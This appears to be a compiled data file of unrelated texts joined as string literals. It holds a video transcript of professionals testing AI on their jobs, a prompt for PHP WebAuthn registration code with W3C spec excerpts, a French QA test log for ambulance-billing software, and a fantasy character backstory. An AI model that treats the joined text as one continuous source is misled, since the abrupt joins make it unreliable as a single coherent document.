it does with the Spanish newscast on incendio Forrestal ha effectado una Grand Park de la region it sucked in Spanish she actually threw in some Spanglish there miles to Hector is and the accent I have Casado she definitely struggled there the AI cannot take my job for now I\'m a bartender surprise me with a Twist on a Negroni and give it a name fill a mixing glass with ice add the Gin Campari and sweet vermouth gently muddle two to three fresh Sage leaves in the glass stir the mixture until well chilled Express the orange peel over the drink release the oils and use it as a garnish there you go you have your Sage Negroni so it\'s a good classic Negroni I\'m not really getting sage just adding the sage leaves was not very creative AI didn\'t ask me any follow-up questions I would say what do you like is there a style of gin that you like I think if you want to have a truly bespoke cocktail you gotta go see a bartender I\'m a screenwriter I\'m going to give this AI a prompt that describes a scene in my latest movie and to see how well it can match it in this scene set in 1949 three World War II widows toast their younger sister Ruby\'s wedding exterior Beach day Mildred Shirley and Charlotte Frolic at the shoreline of the beach and may you never have to experience the Heartbreak that we did the character literally says exactly what like you want the story to do what\'s going on Ruby seems tense I don\'t know but I\'m going to find out just very on the nose dialogue there\'s a lot of parentheticals describing how the characters saying the Line This is a screenwriter no no you start to tip into the director\'s territory I think that AI can help with my my job in conceptual brainstorming playing out scene ideas if you get stuck on a scene but overall I don\'t think AI can do my job I\'m a music producer I\'m writing a song for a pop client please write this song and include chords for the guitar the client is heavily influenced by Lana Del Rey it looks like we\'ve gotten a chord structure and some lyrics a typical progression so not too interesting but that\'s okay so let\'s make a beat when I work with an artist that\'s looking for a specific influence I\'ll think about the BPM that that artist usually goes for [Applause] okay this is pretty good it\'s a good start another great day in the city I\'m feeling lost oh Such a Pity City Lights and heartbeats you walk in and make me complete I like that it\'s a starting point of course some of the lyrics are super corny I will admit a lot of the time that\'s how it starts for me right now these programs can\'t do my job I\'m a journalist I\'m the reviews editor at wired and I test products for a living so I asked chat gbt to write a review of a product that I\'ve actually written about in the style of my own writing when it comes to electric skateboards there are plenty of options to choose from a little boring this is pulling in data specifically from my review and so it has a lot of similar characteristics and sentences that I might typically use unfortunately I think it\'s Stripped Away a lot of the personality in the original review it kind of just took a lot of the basic details and spit out this thing that is kind of generic as for things that did right it actually brought out a lot of these specs like the 3000 watt Motors the 26 miles per hour speeds when reading this review it almost sounds like I could have written it by just reading a press release the AI cannot physically handle this product it\'s not exactly testing the product itself at that point can you really trust where the source is coming from asking chat gbt to write a review based in my voice is definitely weird I\'m a circus artist what would I ask the AI to do hmm I don\'t think there\'s anything that I can think of that I would have the AI do for me I\'m a copywriter McDonald\'s just went 100 vegan write several taglines so we\'ve got veganize your taste buds today feels like a used car salesman no animals harmed only flavor enhanced I don\'t ever go to a fast food restaurant and say I really want my flavor enhanced that\'s not something I\'m ever looking for our last one here is wow very short we\'ve got It\'s Time to Go Green did it run out of um words it typed up some general ideas which actually could help if you were brainstorming and you\'re like I have nothing at all AI could do my job at a very like a Monday morning no coffee kind of way if you wanted to pay no money and get a bad product sure hey I could do my job I\'m a personal trainer please design a fat burning weekly at home workout plan this is definitely a typical plan that someone might want to burn calories with a full body workout you\'re also doing some type of pull workout that\'s going to work your back your posterior chain and you\'re also doing some kind of push so I will say that I like that that it\'s giving a full range of those types of exercises most people know what a push-up is but do they know how to correctly do a push-up it\'s saying three sets of eight to ten reps but how much time is in between each set ideally you would want to be able to see the client in person or on a virtual call so that you can see what their form looks like I don\'t think AI can do my job I\'m a DJ I have my radio show coming up I play uplifting disco music for about two hours make a full playlist slash set list for my show it\'s hitting the Disco on the head for sure I\'ve played a few of these artists on my show before so it\'s definitely getting pretty close to maybe what a tracklist would be one of these tracks Gotta Keep On by sweet cream I looked it up and there\'s no trace of it on the internet anywhere where did it get this song from does the song actually exist AI can make a playlist being able to look out into a room and look out into a dance floor and say okay people are tired let me match that energy I don\'t think that it can do that based on what I\'ve seen I\'m a voice actor shouldn\'t cost the Earth we\'ve created a new line of compostable shoes that are made from sustainable materials I\'ve asked the AI to read this copy let\'s hear this thing fashion shouldn\'t cost the Earth we\'ve crew line of compostable hey but not great it\'s very computer-like it has a strange Cadence and so it ends every sentence like this sustainable which is not the way a human talks it can\'t change on the Fly is there a joke that I\'m supposed to get in the next line it doesn\'t understand all those things the things that come from like life experiences it\'s never going to be like the thing that you\'re going to use for like McDonald\'s commercials it\'s going to be like the things that no one really likes to do anyway like 400 hours of instruction manuals or something like that can AI do my job kinda but not really well although it still freaks me out I\'m an influencer and I want to know if AI can do my job I want chat gbt to help me with an IG caption that\'s a picture of me smiling standing at the top of my Matra in Paris Standing On Top of the World or at least on top of mamatra smiley face eyes the view from here is breathtaking the Sakura cord in my back reminding me of the city\'s Rich history and culture feeling grateful and inspired what a day it has been hashtag grateful this is like really strong but it doesn\'t necessarily capture how I would speak my audience would know that this is not me probably from the overwhelming amount of emojis I would probably say like hey y\'all or like sis that was amazing this AI program cannot do my job but it\'s very close I\'m a chef write a recipe for an Indian restaurant meal include a protein marination it\'s got definitely a lot of spices that you use in Indian cooking it\'s actually missing a key component it didn\'t include yogurt which kind of acts as a binding agent 400 Degrees 20 to 25 minutes for chicken it would probably dry it out overall I would say it\'s like a nice 8 out of 10 dish I do think a substantial part of being a chef is that creativity and coming up with dishes so in terms of that aspect of the job I think AI comes dangerously close to being able to do my job I\'m a translator please translate the opening paragraph of The Sun Also Rises into Korean structural sentence pretty good but there are so many mistakes like if you see the second sentence this is wrong translation in Korean we have casual form and then also respectful form this AI translation use basic written form in first sentence but in the second sentence he used like respect for form it\'s not consistent AI cannot do my job maybe someday it can do it but so far it\'s like it made so many mistakes I\'m a firefighter there\'s no way AI can do my job [Music]"' +'You are a software engineer with 30 years of experience. Now, you have to code a PHP function to perform a registration ceremony in a webauthn system, here is the w3c documentation that will helps to do that :\n\nIn order to perform a registration ceremony, the Relying Party MUST proceed as follows:\n\nLet options be a new PublicKeyCredentialCreationOptions structure configured to the Relying Party\'s needs for the ceremony.\n\nCall navigator.credentials.create() and pass options as the publicKey option. Let credential be the result of the successfully resolved promise. If the promise is rejected, abort the ceremony with a user-visible error, or otherwise guide the user experience as might be determinable from the context available in the rejected promise. For example if the promise is rejected with an error code equivalent to "InvalidStateError", the user might be instructed to use a different authenticator. For information on different error contexts and the circumstances leading to them, see §\u202f6.3.2 The authenticatorMakeCredential Operation.\n\nLet response be credential.response. If response is not an instance of AuthenticatorAttestationResponse, abort the ceremony with a user-visible error.\n\nLet clientExtensionResults be the result of calling credential.getClientExtensionResults().\n\nLet JSONtext be the result of running UTF-8 decode on the value of response.clientDataJSON.\n\nNOTE: Using any implementation of UTF-8 decode is acceptable as long as it yields the same result as that yielded by the UTF-8 decode algorithm. In particular, any leading byte order mark (BOM) MUST be stripped.\n\nLet C, the client data claimed as collected during the credential creation, be the result of running an implementation-specific JSON parser on JSONtext.\n\nNOTE: C may be any implementation-specific data structure representation, as long as C’s components are referenceable, as required by this algorithm.\n\nVerify that the value of C.type is webauthn.create.\n\nVerify that the value of C.challenge equals the base64url encoding of options.challenge.\n\nVerify that the value of C.origin matches the Relying Party\'s origin.\n\nIf C.topOrigin is present:\n\nVerify that the Relying Party expects that this credential would have been created within an iframe that is not same-origin with its ancestors.\n\nVerify that the value of C.topOrigin matches the origin of a page that the Relying Party expects to be sub-framed within.\n\nLet hash be the result of computing a hash over response.clientDataJSON using SHA-256.\n\nPerform CBOR decoding on the attestationObject field of the AuthenticatorAttestationResponse structure to obtain the attestation statement format fmt, the authenticator data authData, and the attestation statement attStmt.\n\nVerify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n\nVerify that the UP bit of the flags in authData is set.\n\nIf the Relying Party requires user verification for this registration, verify that the UV bit of the flags in authData is set.\n\nIf the Relying Party uses the credential’s backup eligibility to inform its user experience flows and/or policies, evaluate the BE bit of the flags in authData.\n\nIf the Relying Party uses the credential’s backup state to inform its user experience flows and/or policies, evaluate the BS bit of the flags in authData.\n\nVerify that the "alg" parameter in the credential public key in authData matches the alg attribute of one of the items in options.pubKeyCredParams.\n\nVerify that the values of the client extension outputs in clientExtensionResults and the authenticator extension outputs in the extensions in authData are as expected, considering the client extension input values that were given in options.extensions and any specific policy of the Relying Party regarding unsolicited extensions, i.e., those that were not specified as part of options.extensions. In the general case, the meaning of "are as expected" is specific to the Relying Party and which extensions are in use.\nNOTE: Client platforms MAY enact local policy that sets additional authenticator extensions or client extensions and thus cause values to appear in the authenticator extension outputs or client extension outputs that were not originally specified as part of options.extensions. Relying Parties MUST be prepared to handle such situations, whether it be to ignore the unsolicited extensions or reject the attestation. The Relying Party can make this decision based on local policy and the extensions in use.\n\nNOTE: Since all extensions are OPTIONAL for both the client and the authenticator, the Relying Party MUST also be prepared to handle cases where none or not all of the requested extensions were acted upon.\n\nNOTE: The devicePubKey extension has explicit verification procedures, see §\u202f10.2.2.3.1 Registration (create()).\n\nDetermine the attestation statement format by performing a USASCII case-sensitive match on fmt against the set of supported WebAuthn Attestation Statement Format Identifier values. An up-to-date list of registered WebAuthn Attestation Statement Format Identifier values is maintained in the IANA "WebAuthn Attestation Statement Format Identifiers" registry [IANA-WebAuthn-Registries] established by [RFC8809].\n\nVerify that attStmt is a correct attestation statement, conveying a valid attestation signature, by using the attestation statement format fmt’s verification procedure given attStmt, authData and hash.\nNOTE: Each attestation statement format specifies its own verification procedure. See §\u202f8 Defined Attestation Statement Formats for the initially-defined formats, and [IANA-WebAuthn-Registries] for the up-to-date list.\n\nIf validation is successful, obtain a list of acceptable trust anchors (i.e. attestation root certificates) for that attestation type and attestation statement format fmt, from a trusted source or from policy. For example, the FIDO Metadata Service [FIDOMetadataService] provides one way to obtain such information, using the aaguid in the attestedCredentialData in authData.\nAssess the attestation trustworthiness using the outputs of the verification procedure in step 21, as follows:\nIf no attestation was provided, verify that None attestation is acceptable under Relying Party policy.\n\nIf self attestation was used, verify that self attestation is acceptable under Relying Party policy.\n\nOtherwise, use the X.509 certificates returned as the attestation trust path from the verification procedure to verify that the attestation public key either correctly chains up to an acceptable root certificate, or is itself an acceptable certificate (i.e., it and the root certificate obtained in Step 22 may be the same).\n\nVerify that the credentialId is ≤ 1023 bytes. Credential IDs larger than this many bytes SHOULD cause the RP to fail this registration ceremony.\n\nVerify that the credentialId is not yet registered for any user. If the credentialId is already known then the Relying Party SHOULD fail this registration ceremony.\n\nNOTE: The rationale for Relying Parties rejecting duplicate credential IDs is as follows: credential IDs contain sufficient entropy that accidental duplication is very unlikely. However, attestation types other than self attestation do not include a self-signature to explicitly prove possession of the credential private key at registration time. Thus an attacker who has managed to obtain a user’s credential ID and credential public key for a site (this could be potentially accomplished in various ways), could attempt to register a victim’s credential as their own at that site. If the Relying Party accepts this new registration and replaces the victim’s existing credential registration, and the credentials are discoverable, then the victim could be forced to sign into the attacker’s account at their next attempt. Data saved to the site by the victim in that state would then be available to the attacker.\n\nIf the attestation statement attStmt verified successfully and is found to be trustworthy, then create and store a new credential record in the user account that was denoted in options.user, with the following contents:\ntype\ncredential.type.\n\nid\ncredential.id or credential.rawId, whichever format is preferred by the Relying Party.\n\npublicKey\nThe credential public key in authData.\n\nsignCount\nauthData.signCount.\n\ntransports\nThe value returned from response.getTransports().\n\nbackupEligible\nThe value of the BE flag in authData.\n\nbackupState\nThe value of the BS flag in authData.\n\nThe new credential record MAY also include the following OPTIONAL contents:\n\nattestationObject\nresponse.attestationObject.\n\nattestationClientDataJSON\nresponse.clientDataJSON.\n\nIf the attestation statement attStmt successfully verified but is not trustworthy per step 23 above, the Relying Party SHOULD fail the registration ceremony.\n\nNOTE: However, if permitted by policy, the Relying Party MAY register the credential ID and credential public key but treat the credential as one with self attestation (see §\u202f6.5.4 Attestation Types). If doing so, the Relying Party is asserting there is no cryptographic proof that the public key credential has been generated by a particular authenticator model. See [FIDOSecRef] and [UAFProtocol] for a more detailed discussion.\n\nVerification of attestation objects requires that the Relying Party has a trusted method of determining acceptable trust anchors in step 22 above. Also, if certificates are being used, the Relying Party MUST have access to certificate status information for the intermediate CA certificates. The Relying Party MUST also be able to build the attestation certificate chain if the client did not provide this chain in the attestation information.' +'et d\'autre plan de test \nClient complet ✔ le client est ajouté à la base de donnée\nSur tripList ✔\n - Envoi d\'une mission société A vers REX ✔ la société A n\'est pas proposée dans la liste\n - Modification de la mission ver la société B et ré-envoi ✔ la société A est proposée mais pas la B\nSur tripAdd ✔\n - Envoi d\'une mission société A vers REX ❌ rien ne se passe et la sauvegarde ne marche plus\nSur tripAdd l\'envoi ne se fait pas et la sauvegarde est cassée derrière\nSuite des tests :\n- Envoi d\'une mission société A vers REX ✔ la société A n\'est pas proposée dans la liste\n- Modification de la mission ver la société B et ré-envoi ✔ la société A est proposée mais pas la B\nréalisation d\'un d\'options de tri ✔ pas d\'erreur remonté\nRechargement manuelle de la liste des équipages ❌ les options de tri sont toujours sélectionnées mais ils y a un délais de plusieurs secondes\nAjout d\'un nouvelle équipage ❌ les options de tri sont toujours sélectionnées mais ils y a un délais de plusieurs secondes\nLe tri est bien gardé mais ils y a un délais de plusieurs secondes avant qu\'il soit réapliqué après l\'actualisation\nRechargement manuelle de la liste des équipages ✔ les options de tri sont toujours sélectionnées\nAjout d\'un nouvelle équipage ✔ les options de tri sont toujours sélectionnées\nOuverture de plusieurs fenetres saphir avec des options de tri différentes sur le bandeau équipage ✔ les options de tri respectives à chaque fenêtre sont toujours sélectionnées\nCoché puis sauvegarde ✔ la coche est coché\nDécoché puis sauvegarde ✔ la coche est décoché\nValidation d\'une facture avec le finess de l\'établissement \n - controle de recevabilité ✔ le finess de l\'établissement est envoyé\n - validation de la facture ✔ le finess de l\'établissement est envoyé\nValidation d\'une facture avec le finess du prescripteur \n - controle de recevabilité ✔ le finess du prescripteur est envoyé\n - validation de la facture ✔ le finess du prescripteur est envoyé\nSuppression du centre médical lié au prescripteur après avoir coché "utiliser le finess de l\'établissement" et enregistré la facture ✔ pas d\'erreur et le finess du prescripteur est envoyé\nImpression (liste, impr multi, facture) de la facture avec le finess du prescripteur ✔ le finess du prescripteur est affiché sur l\'impression\nImpression (liste, impr multi, facture) de la facture avec le finess de l\'établissement ✔ le finess du prescripteur est affiché sur l\'impression\nSuppression du centre médical lié au prescripteur après avoir coché "utiliser le finess de l\'établissement" sur une facture déja validé ✔ pas d\'erreur et le finess du prescripteur est envoyé ou utilisé lors de l\'impression\nle code couleur n\'est pas affiché sur la régulation\nAcceptation d\'une intervention de Rubis pour un client déjà présent en base de donnée :\nAvec une adresse de prise en charge déjà présente sur la fiche client saphir ✔ l\'adresse n\'est pas dupliquée\nAvec une adresse de prise en charge non présente sur la fiche client saphir ✔ l\'adresse est ajoutée\nAvec un numéro de téléphone déjà présent sur la fiche client saphir ✔ le numéro de téléphone n\'est pas dupliquée\nAvec un numéro de téléphone non présent sur la fiche client saphir ✔ le numéro de téléphone est ajoutée\nAvec un numéro de sécurité sociale ✔ n\'est pas écrasé\nAvec une date de naissance ✔ n\'est pas écrasé\nAvec un genre ✔ n\'est pas écrasé\nSans numéro de sécurité sociale ✔ il est ajouté à la fiche client de Saphir\nSans date de naissance ✔ elle est ajouté à la fiche client de Saphir\nn\'est plus marqué comme temporaire\nValidation/sauvegarde d\'une facture avec chorus pro ✔\ncréation d\'un avoir d\'une facture ✔\nIntégration de fichiers à une facture dans l\'écran Chorus Pro ✔\nIntégration d’un relevé aux envois Chorus Pro ✔\nDéverrouillage d’un relevé ✔\nAffichage de l’écran ChorusPro ✔\nEnvoi d\'un dossier depuis l\'écran ChorusPro ✔\nExport de la liste non-filtré des donneurs d\'ordre ✔ Path affiché dans la modale\nExport de la liste filtré des donneurs d\'ordre ✔ Path affiché dans la modale\nAction "Modifier" ✔ certain champs de la facture deviennent modifiable, le message informatif est présent\nModification de la facture et enregistrement ✔\nModification de la mutuelle de la facture et enregistrement ✔ Affichage des modal de d\'\nModification de la facture et action Re-Trans ✔\nFacturation:\nAppel MultiPec SEFi ✔ les informations de l\'appel sont bien enregistrées et affichées sur les boutons\nAppel Pec SEFi ✔ les informations de l\'appel sont bien enregistrées et affichées sur les boutons\nAffichage des boutons avant un appel Sefi ✔ les boutons sont bien gris \nCas ou le patient n\'a pas de couverture avec les informations ✔ Bouton rouge\nCas ou le patient a une couverture avec les informations ✔ Bouton vert\nCas erreur lors de l\'appel ✔ Bouton orange\nRéalisation de plusieurs appels SEFi ✔ Mise à jour des dates de consultation\nChangement de client et sauvegarde puis réalisation d\'appels SEFi ✔ Si on retourne sur l\'ancien client les données sont bien affichées\nRégulation\nDemande du code de la carte CPS lors de la validation en masse via SEFi ✔\nAnnulation sur la modal de demande du code de la carte CPS ✔\nValidation en masse via SEFi ✔\nTest du timer de 45 minutes avant de redemander le code de la carte CPS ✔\nles appels sefi pec et sefi pec triple\nvoir si ça te met à jour correctement les 3 nouveaux boutons\nles boutons quand ils sont verts, ça veut dire que tu peux copier les infos du pec sefi vers le SP\ncomme le Tout Copier sur les modal pec sefi\nPointeuse:\nTest réception message sur la pointeuse (avec 1 bandeau ouvert)\nTest réception message sur la pointeuse (avec 2 bandeaux ouverts)\nTest des accusés de réception/lecture dans les cas ci-dessus\nMobile:\nTest réception message sur le mobile (avec 1 bandeau ouvert)\nTest réception message sur le mobile (avec 2 bandeaux ouverts)\nTest réception message général sur le mobile (avec 1 bandeau ouvert)\nTest réception message général sur le mobile (avec 2 bandeaux ouverts)\nTest envoie message depuis le mobile avec réception Saphir (avec 1 bandeau ouvert)\nTest envoie message depuis le mobile avec réception Saphir (avec 2 bandeaux ouverts)\nAutres:\nOuverture de la modal du choix des employés lors de l\'envoie d\'un message général ou pointeuse, sur un deuxième bandeau X (plus de détails dans les problèmes rencontrés ci-dessous)\nProblème d\'ouverture de la modal du choix des employés:\nEtapes pour reproduire :\nOuvrir Saphir, puis le bandeau de messagerie \n• Ouvrir une deuxième instance de Saphir, puis le bandeau de messagerie\n• Dans la seconde instance de Saphir, diquer sur l\'onglet "GENERAL"\n• Ecrire un message dans le champs tout en bas du bandeau\n• Cliquer sur la loupe:\nA La modal ne s\'ouvre pas. En réalité elle s\'ouvre sur la première instance de Saphir, alors que nous sommes sur la deuxième instance. Le problème est le même sur l\'onglet "POINTEUSE".\nSi on supprime la date de fin de service dans Saphir \nSaphir\nsur la mission :\nAffichage de la liste des règlements ✔\nExport de la liste des règlements avec le filtre date de règlement ✔\nExport de la liste des règlements avec le filtre date de règlement fin ✔\nExport de la liste des règlements avec le filtre société ✔\nExport de la liste des règlements avec le filtre numéro de facture ✔\nExport de la liste des règlements avec le filtre source ✔\nExport de la liste des règlements avec le filtre date de facturation ✔\nExport de la liste des règlements avec le filtre montant de règlement ✔\nExport de la liste des règlements avec le filtre Agrément ✔\nExport de la liste des règlements avec le filtre Compte banque ✔\nExport de la liste des règlements avec le filtre Payeur ✔\nExport de la liste des règlements avec le filtre Type de paiement ✔\nExport de la liste des règlements avec le filtre Etat chèque ✔\nExport de la liste des règlements avec le filtre Taux ✔\nExport de la liste des règlements avec le filtre Nom ❌\nExport de la liste des règlements avec le filtre Prénom ❌\nExport de la liste des règlements avec le filtre ID Patient ❌\nProblèmes rencontrés\nErreur dans la console du service lors de la recherche de règlement avec les filtre Nom, Prénom et ID Patient :\nAjout d\'un nouveau lot avec une périodicité "Quinzaine" ✔\nCopie d\'un lot avec une périodicité "Quinzaine" ✔\nSuppression d\'un lot avec une périodicité "Quinzaine" ✔\nAffichage dans les relevés des factures liées aux lots ✔\nValidation d\'une facture du relevé ✔ Affichage dans les relevés mis à jour\nSélectionner L\'option "Ajouter le fichier à la prescription" en cliquant le label ❌\nSauvegarde des fichiers scannés sur une mission non sauvegardée ❌ Modal d\'erreur\nSauvegarde des fichiers scannés sur une mission ✔ les fichiers ajoutés aparraisent bien dans la liste des fichiers de la mission\nvalidation de la mission ✔\nSauvegarde des fichiers scannés sur une mission déjà validée avec et sans l\'option "Ajouter le fichier à la prescription" ✔\nsur la facture :\nAffichage de la liste des fichiers de la facture ✔ les fichiers avec la l\'option "Ajouter le fichier à la prescription" sont sous la catégorie "Prescription"\nSauvegarde des fichiers scannés sur une facture avec et sans l\'option "Ajouter le fichier à la prescription" ✔\nPour moi il faudrait pouvoir sélectionner l\'option en cliquant sur le label (comme pour les coche des factures par exemple)\nEst ce que c\'est normale que pour les missions la catégorie des fichiers est toujours "Autres" ?\n d\'une facture Libre a l\'état "Imprimée" ✔ Symbole $ pour le montant dû\nAffichage de la modal Facture Libre ✔ Symbole $ pour les montants\nSaphir sans ConfigDB.ClientNationality = "France":\nAffichage d\'une facture Libre a l\'état "Imprimée" ✔ Symbole € pour le montant dû\nAffichage de la modal Facture Libre ✔ Symbole € pour les montants\nl\'option "Estimation de retour à la base envoyée qu\'à la fin de la mission sélectionnée" est disponible pour toute les missions de l\'équipage et pas seulement la dernière ❌\nAjout d\'une fin de service avec l\'option "Estimation de retour à la base envoyée qu\'à la fin de la dernière mission" ✔\nAjout d\'une fin de service pour un équipage d\'ambulance (2 employés) ✔ Mise à jour de l\'heure de fin de service pour tout l\'équipage\nAffichage de la liste des clients avec un client dont la fiche est définitive mais que le patient est en pause ✔ pastille orange\nAffichage de la liste des clients avec un client dont la fiche est définitive mais que le patient est en contentieux pour impayé ✔ pastille orange\nAffichage de la liste des clients après modification des fiches client ✔ changement de la couleur des pastilles cohérents\nCréation et validation d\'une mission libre avec numéro de chambre sur l\'adresse d\'arrivé du trajet aller et l\'adresse de départ du trajet retour : réussie ✔, Affichage des numéro de chambre ✔\nModification des numéro de chambre sur la facture : réussie ✔, Affichage des bon numéro de chambre ✔ \nImpression des factures : réussie ✔, Affichage des bon numéro de chambre ✔ \nCréation et validation d\'une mission vsl avec numéro de chambre : réussie ✔, Affichage des numéro de chambre ✔\nTest export via modèle d\'export personalisé : échec ❌ les colonne Cbre ne sont pas renseignées \nEtapes pour reproduire:\nModifier un modèle d\'export personalisé en ajoutant les colonnes "Cbre. dép." et "Cbre. arr." \nRéaliser un export via le modèle modifié d\'une facture Libre\n d\'une facture à différents états pour un client avec spécificité✔\nTest affichage d\'une facture à différents états pour un client avec contrainte bloquante✔\nTest affichage d\'une facture à différents états pour un client avec contrainte avertissement✔\nTest affichage d\'une facture à différents états pour un client avec contrainte information✔\nTest ajout de contraintes sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser✔\nTest ajout de spécificité sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser✔\nTest suppression de contraintes sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser\nTest suppression de spécificité sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser\nElement toujours affiché dans le tooltip\nSupprimer une contrainte ou une spécificité sur le client\nActualiser la facture\nTest création de mission taxi rapide avec les champs personne transporté, nom, prénom, heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nTest création de mission taxi rapide avec les champs personne transporté, nom, heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nTest création de mission taxi rapide avec les champs heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nGetVehiclesForScrTransmittingState - Service d\'érieur a 2560K vers SCR \nFindVehicleAgreementAtDate - ajout d\'une fin de service avec estimation de retour a la base ✔\nModification d\'une facture unique FEL qui est remise à l\'état "Imprimée" en rajoutant un paiement négatif correspondant au montant total : réussie ✔, le bouton re-télétransmettre est grisé ✔\nModification d\'une facture unique non FEL qui est remise à l\'état "Télétransmise" en rajoutant un paiement négatif correspondant au montant total : réussie ✔, le bouton re-télétransmettre est accessible ✔\nPotentiel effet de bord, modification d\'une facture qui appartient à une série : impossible à modifier parce que la prescription est verrouillée ✔' +'Backstory:\nEvendur Buckman came into this world like many others in the great city of Neverwinter in the year 1420 DR under the loving care of Hilda and Naldo Buckman. The new parents were acolytes held in high esteem among the many temples nestled throughout the city working under the rule of king Bann Alagondar. Bann was one of many in the revered Alagondar family line who had ruled for more than a century and had brought prosperity and wealth to the city. Now being with child however, Hilda insisted that the city although great was no place to raise her son. Therefore, soon after Evendur\'s birth, the new parents joined a small group of adventurous folk looking to form a more peaceful life outside the city and they helped found the small settlement of Oakhurst 25 miles eastward along the banks of the mighty neverwinter river. The people\'s hope was that the fertile soil could be cultivated along the banks of the river and trade relationships could be set up with Neverwinter.\n\nNaldo and Hilda took up the role of town acolytes and founded a temple in the budding farming community devoted to Chauntea, the goddess of agriculture, raising Evendur as a member of the clergy. The people of Oakhurst were followers of the temple seeking to bring good harvests and prosperity to the growing community. At least that was until the spring of the year 1451 when weeks of tremors in the ground foretold the eruption of the long dormant Mount Hotenow which devastated the region.\n\nNews quickly spread of the massive devastation which had befallen Neverwinter killing the entire living Alagondar family and laying the city to waste. Oakhurst was initially lucky, spared from the immediate fallout from the volcano but the pain the Oakhurst people would endure soon became clear. As the coming weeks passed the ash lingered in the air and black soot rained down across the fields while cold winds whipped over the landscape throughout the months of Summertide and Highsun granting the name locally "the year of sunless summer" to 1451 DR as many families faced starvation. Everyone did what they could but many of the old and weak among the community perished giving Evendur his first experience with the great suffering that fate could place upon his people. As time passed, the settlement endured quickly rebuilding and being a great help to Neverwinter providing much needed food during the long, tedious rebuilding effort that it had to endure.\n\nOver the next couple decades, the temple continued to serve as a gathering place for the people of Oakhurst, however it also served other purposes unbeknownst to the many people praying among its pews. Naldo throughout his life had always been a bit of a purveyor of antiques and artifacts. His connections and exposure to the noble class of Neverwinter had granted him access to various sacred artifacts. When the eyes of his peers could be avoided, Naldo occasionally acquired these artifacts for his personal collection. He secretly maintained and grew this collection even after his move to Oakhurst where he built a chamber behind the altar to store them. He told any prying eye who were curious that it was strictly forbidden to enter this chamber as not to upset the great goddess of the harvest.\n\nLater, in the year 1483 DR, decades had passed since the eruption of Mount Hotenow. Time had marched on and Evendur\'s parents had become elderly and by necessity passed on to Evendur many duties of the temple such as maintaining the cemetery, holding sermons, and giving last rites. Also, during that summer attendance in the temple started to drop and upon investigation Evendur began to hear rumors of people skipping out on worship due to apple goblins. Evendur at first thought that the people had gone crazy however he witnessed himself a miraculous feat as a young girl who was deathly ill was given just a single slice of a so called "magic apple" and she quickly made a full recovery. The people said that goblins came into the town and demanded someone buy the apple from them which the townspeople bought out of fear thinking it to be some sort of ruse.\n\nThe people of the community quickly forgot about this strange event however the next summer and each summer thereafter the goblins returned bearing another apple. The people of the town attempted to plant the seeds from the magic apples however after sprouting and growing for a period of time the sapling would disappear. The townspeople became convinced that the goblins were stealing the plants and were trying to keep all the magic apples to themselves. It became an annual event as each summer neared that the temple\'s attendance would drop as the people fought over access and obsessed over the magical healing properties of that years goblin apple.\n\nEventually, Naldo and Hilda passed of natural causes very close to each other and Evendur was left distraught. After witnessing the death of his parents and with his own age becoming something that could no longer be ignored, Evendur had to contend with the inevitability of his own death. Upon his deathbed, Naldo told Evendur what was in the secret chamber and asked him to watch over his collection. Although he continued to perform his duties in the temple for years to come, it took a few years for Evendur to build the courage to enter the chamber as it reminded him of his inevitable fate. At long last though Evendur finally opened the chamber discovering various miraculous and beautiful artifacts but one seemed to call to him. On a small pedestal was a Prayer wheel, a ritualistic device with the text of prayers written on a spinning disc which along with reciting the prayers was said to enhance the effects of the prayer. This prayer wheel spoke of Kelemvor the god of death and judge of the damned.\n\nEvendur instantly understood a new calling, an answer to the question he had been struggling with that while death could be delayed, it was an absolute inevitability and not to be feared. With this new calling Evendur arranged a replacement priest for the temple and set out to discover greater truths of Kelemvor. He first set out east along the Neverwinter river toward the closest settlement to Oakhurst, a small community of halflings named Riverside nestled into the western edge of the neverwinter wood and bordered on the south by the banks of the rushing river.\n\nThe halflings of Riverside didn\'t receive many visitors as it was a mostly isolated community however they were welcoming to Evendur. After meeting a few of the local folk Evendur discovered them to be a very hospitable people willing to welcome visitors for short stays amongst their people. Evendur planned to stay for a short time a share with them the knowledge he had gained about life, death, and meaning, but it became clear quickly that the people were not focused on his teachings. Instead the halflings were consumed in fear and gossip of an endemic insomnia that was plaguing various members of the community.\n\nEvendur was brought to the town hall where the patients of the insomnia had gathered and ducked his head down as he entered the small gathering hall. Inside were a half dozen halflings looking very unkempt and after talking with a few Evendur realized many of them haven\'t slept for up to a tenday. Later in the evening a young halfling woman wearing a large straw hat and with a large horn-like musical instrument strapped to her side entered the room introducing herself as Pearl. She had great concern for her fellow residents of Riverside and the two of them listened to the stories of one of the locals, a baker named Lyle Littlefoot, as he described his experience in heartbreaking detail. Evendur put his hand on Pearl\'s shoulder to comfort her as tears started to well up in her when suddenly Evendur\'s prayer wheel started to spin and glow and a radiant yellow light was emitted from his hand. Pearl immediately pulled out her instrument and started playing a beautiful lullaby which hung in the air as waves of color slowly rippled across the room bouncing off the walls. Miraculously all the halflings experiencing the insomnia were able to sleep however the effects quickly wore off soon after Pearl had stopped playing.\n\nAcross the room an elderly halfling who had been assisting with the care of the sick, had witnessed the song. She beckoned over Evendur and Pearl and slowly spoke words which neither of them would ever forget. \n\n "Do you realize what you two just did? I have seen this before long ago but most only hear of it in tales as old as time. You are both one with the weave… suffused with the energy that lies untapped in every rock, river, and living being. Gifted with something few mortals possess… I\'m speaking of magic my dears. The energy of creation and the ability to shape the very fabric of our world. You are both destined for great things."\n \nThe woman\'s name was Nora Strongbones, one of the most elderly and wise in Riverside. Evendur and pearl talked with Nora about what they should do now and she told them that whatever was plaguing Riverside may be greater than their current abilities. She urged them to go out in the world and find a way to help. Evendur then mentioned a magical apple from his hometown of Oakhurst but said that the only known source was a group of goblins that comes to the edge of town and sells one per year shortly after the midsummer festival and that the townspeople fought over access its healing properties. After further discussion the three decided maybe they should try to find the source of this magical fruit.\n\nEarly the next morning Evendur and Pearl then set out on the 20 mile trek west to Oakhurst. They arrived late in the afternoon tired and weary from a full day\'s travel and Evendur led the way toward the local tavern, the Ol\' Boar Inn. They sat down at one of the various tables in the cozy establishment and were thankful for some much needed rest and some of proprietor Garon\'s famous hearty soup 